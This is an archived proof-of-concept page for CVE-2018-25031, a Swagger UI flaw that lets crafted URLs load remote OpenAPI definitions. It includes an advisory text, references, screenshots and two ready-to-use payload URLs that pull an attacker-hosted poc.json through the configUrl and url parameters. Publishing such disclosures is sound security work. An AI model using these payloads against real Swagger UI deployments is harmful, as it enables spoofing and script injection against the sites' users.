Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2018-25031 PoC — Swagger UI 输入验证错误漏洞

Source
Associated Vulnerability
Title:Swagger UI 输入验证错误漏洞 (CVE-2018-25031)
Description:Swagger UI是一款支持可视化API资源并能够与之进行交互的开源工具。 Swagger-api Swagger UI 4.1.3之前版本中存在安全漏洞,该漏洞源于软件缺少对于用户提交的URL数据过滤和转义。攻击者可以通过特制的URL数据利用该漏洞进行欺骗攻击并显示远程OpenAPI定义。
Description
.json and .yaml files used to exploit CVE-2018-25031
Readme


### CVE-2018-25031  
<div align="center">
<img src="https://afine.com/wp-content/themes/afine/assets/img/logo_light.svg" align="center" style="width: 40%" />
</div>  



### Description:  
#### Swagger UI before 4.1.3 could allow a remote attacker to conduct spoofing attacks. By persuading a victim to open a crafted URL, an attacker could exploit this vulnerability to display remote OpenAPI definitions.

  
<br/>   
 
### Screenshot before attack:
<img src="https://github.com/afine-com/CVE-2018-25031/blob/main/1.png" align="center" style="width: 100%" />

### PoC:
```
/index.html?configUrl=https://raw.githubusercontent.com/afine-com/CVE-2018-25031/main/poc.json
/index.html?url=https://raw.githubusercontent.com/afine-com/CVE-2018-25031/main/poc.json
```

### PoC Screenshot after attack:
<img src="https://github.com/afine-com/CVE-2018-25031/blob/main/2.png" align="center" style="width: 100%" />

### References:

<a href="https://nvd.nist.gov/vuln/detail/CVE-2018-25031">https://nvd.nist.gov/vuln/detail/CVE-2018-25031</a><br>
<a href="https://deps.dev/advisory/GHSA/GHSA-cr3q-pqgq-m8c2">https://deps.dev/advisory/GHSA/GHSA-cr3q-pqgq-m8c2</a>

##### Tested on Swagger UI 3.52.1
File Snapshot

[4.0K] /data/pocs/bda70fa6f655747f3bd3fb9e65c692b6584a60a6 ├── [238K] 1.png ├── [108K] 2.png ├── [1.4K] DOMXSS.yaml ├── [ 254] poc.json ├── [ 172] poc.yaml └── [1.2K] README.md 0 directories, 6 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.